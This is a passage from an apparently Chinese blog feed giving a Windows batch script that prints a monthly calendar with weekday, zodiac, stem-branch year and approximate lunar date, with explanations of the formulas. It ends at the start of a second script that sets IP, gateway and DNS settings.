style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set sdate=%date%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:Main&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&amp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 日期提取、格式化与校验&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;tokens=1,2,3 delims=-/: &quot; %%i in (&quot;%sdate%&quot;) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;(set sy=%%i) &amp;&amp; (set sm=%%j) &amp;&amp; (set sd=%%k)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if not defined sd set sd=1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if not defined sm set sm=%sy%&amp;set sy=%date:~0,4%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;(set sy=0000%sy%) &amp;&amp; (set sm=00%sm%) &amp;&amp; (set sd=00%sd%)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;(set sy=%sy:~-4%) &amp;&amp; (set sm=%sm:~-2%) &amp;&amp; (set sd=%sd:~-2%)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a y=1%sy%-10000, m=1%sm%-100, d=1%sd%-100 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if errorlevel 9167 goto Error&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %y% lss 100 (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %y% lss 50 (set /a y+=2000) else (set /a y+=1900)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set sy=!y!&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %m% lss 13 if %d% lss 32 goto Calc&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:Error&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.错误的日期.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;pause&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cd.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set sdate=%date%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;goto Main&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:Calc&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::计算农历部分&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a Q=(y-1901)/4&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a R=y-1901-4*Q&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set n=0&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%i in (0,31,59,90,120,151,181,212,243,273,304,334) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a n+=1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %m% equ !n! set z=%%i)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a leap=&quot;^!(y%%4) &amp; ^!(^!(y%%100)) &#124; ^!(y%%400)&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %m% gtr 2 (if %leap% equ 0 (set /a z-=1) else (set /a z+=leap))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a n=(140*Q+106*(R+1)+z*10+d*10)/295,H=(140*Q+106*(R+1)+z*10+d*10-295*n)/10&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %h% equ 0 set h=29&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %h% leq 10 (if %h% equ 10 (set h=初十) else (set h=初%h%)) else (set h=%h:~0,1%十%h:~-1%号)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /l %%i in (1,1,9) do (call set h=%%h:%%i=!str:~%%i,1!%%)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set h=%h:0=%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 计算生肖及干支年&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set sx=猴鸡狗猪鼠牛虎兔龙蛇马羊&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set tg=庚辛壬癸甲乙丙丁戊己&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set dz=申酉戌亥子丑寅卯辰巳午未&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a sxnum=%sy% %% 12&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a tgnum=%sy:~-1%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;title 农历!tg:~%tgnum%,1!!dz:~%sxnum%,1!年 生肖:!sx:~%sxnum%,1! 农历:%h%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 计算每个月的天数&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set days=31&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%i in (4 6 9 11) do if %m% equ %%i set days=30&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 计算2月份的偏差&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a leap=&quot;^!(y%%4) &amp; ^!(^!(y%%100)) &#124; ^!(y%%400)&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %m% equ 2 set /a days=28+%leap%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %m% leq 2 (set /a y-=1&amp; set /a m+=12)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 计算指定日期的星期数&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a w=(d+2*m+3*(m+1)/5+y+y/4-y/100+y/400+1)%%7&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;%sy%年%sm%月&nbsp;&nbsp; 日期:%sy%-%sm%-%sd%,星期!str:~%w%,1!&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 生成月历&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a wb=(w+35-d) %% 7, we=wb+days+1, day=1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;日&nbsp;&nbsp; 一&nbsp;&nbsp; 二&nbsp;&nbsp; 三&nbsp;&nbsp; 四&nbsp;&nbsp; 五&nbsp;&nbsp; 六&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo. ━━━━━━━━━━━━━━━━━━━&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /p= &lt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /l %%i in (0,1,37) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;temp=&nbsp;&nbsp;&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %%i GTR %wb% if %%i LSS %we% (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set temp= !day!&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set temp=!temp:~-2!&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if !d! EQU !day! set temp=★&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a day+=1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /p=&nbsp;&nbsp; !temp!&lt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a &quot;wm=(%%i+1)%%7&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if !wm! equ 0 echo.&amp;echo.&amp;set /p= &lt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&nbsp;━━━━━━━━━━━━━━━━━━━&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;输入日期可查询当日星期并显示当月月历&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set sdate=&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /p sdate=&nbsp;&nbsp;格式如:2007-02-03,&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;退出:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if defined sdate goto Main&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;以下是各计算部分算法:&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;复制内容到剪贴板&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;代码:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;计算星期:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;基姆拉尔森计算公式&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;W= (d+2*m+3*(m+1)/5+y+y/4-y/100+y/400) mod 7&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;在公式中d表示日期中的日数＋1，m表示月份数，y表示年数。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;注意：在公式中有个与其他公式不同的地方：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;把一月和二月看成是上一年的十三月和十四月，&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;例：如果是2004-1-10则换算成：2003-13-10来代入公式计算。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;复制内容到剪贴板&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;代码:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;生肖及干支年计算方法是：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;出生公元年数÷１２，然后根据除得的商的余数，对照生肖排列就马上可以知道。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;生肖排列是：猴（０）、鸡（１）、狗（２）、猪（３）、鼠（４）、牛（５）、虎（６）、兔（７）、龙（８）、蛇（９）、马（１０）、羊（１１）。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;天干地支算法:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;首先要能记住十大天干和十二地支，&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;十天干：甲、乙、丙、丁、戊、己、庚、辛、壬、癸；&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;十二地支：子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥；&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;天干地支纪年法首先是天干在前，地支在后，比如今年2005就为－乙酉年，先来算算天干，有个公式：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;4、 5、 6、 7、 8、 9、 0、 1、 2、 3 对应的十天干就是&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;甲、乙、丙、丁、戊、己、庚、辛、壬、癸，&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;数字为年代的最后的一位数字，比如今年是2005，最后一位是5，对应的天干就是乙；&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;地支的算法：用年代数除以12，后面的余数就代表某个地支，余数分别为：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;4、 5、 6、 7、 8、 9、 10、 11、 0、 1、 2、 3，&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;代表地支为：子、丑、寅、卯、辰、巳、午、 未、 申、酉、戌、亥，&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;比如2005年为例：年代末尾数为5，对应的天干为乙，2005除以12，余数为1，对应的地支为酉，所以2005年为乙酉年。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;复制内容到剪贴板&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;代码:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;农历日期部分的算法是:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;阴历日期是以月亮的圆缺为计月单位，其以逢朔为初一，以月望为十五（大月为十六日），以月晦为二十 九日（大月为三十日）。然而目前记时通常用阳历日期表达，如欲将阳历日期换算成阴历日期可以用以下两种方法：其一是查《新编万年历》，如查1984年6月8日是阴历几日？翻开万年历6月10日是阴历十一，则逆推6月8日是阴历初九。其二可以利用公式推算阴历日期：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;设：公元年数－1977（或1901）＝4Q＋R&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;则：阴历日期=14Q+10.6(R+1)+年内日期序数-29.5n&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;（注:式中Q、R、n均为自然数，R&lt;4）&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;例：1994年5月7日的阴历日期为：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;1994－1977＝17＝4×4＋1&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;故：Q＝4，R＝1 则：5月7日的阴历日期为：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;14×4+10.6(1+1)+(31+28+31+30+7)-29.5n&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;=204.2- 29.5n&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;然后用29.5去除204.2得商数6......27.2，6即是n值，余数27即是阴历二十七日。</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=751]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:49:22 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[批处理自动定义IP、网关、DNS]]></title>
  <description><![CDATA[<span style="font-size: 13px;">&nbsp;::==================批处理自动定义IP、网关、DNS==============&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::自动读取网络连接名称；&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::根据用户输入，快速设置IP、网关、DNS&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::code by&nbsp;</span><font color="#0070af" style="font-size: 13px;">youx@<font color="#0066cc">www.ff87.com</font></font><span style="font-size: 13px;">&nbsp;2013-1-6&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;title 批处理自动定义IP、网关、</span><font color="#0070af" style="font-size: 13px;">DNS@<font color="#000000"><a>www.ff87.com</a></font></font><span style="font-size: 13px;">&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call :Get_NIC&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Rem &#039;----------IP地址----------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set IP_addr=192.168.1.110&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /p IP_addr=请输设置IP地址(默认为：192.168.1.110)：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;netsh interface ip set address name=&quot;%NIC_name%&quot; source=static addr=%IP_addr% mask=255.255.255.0&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Rem &#039;---------设置网关----------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set GT_addr=0.0.0.0&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span 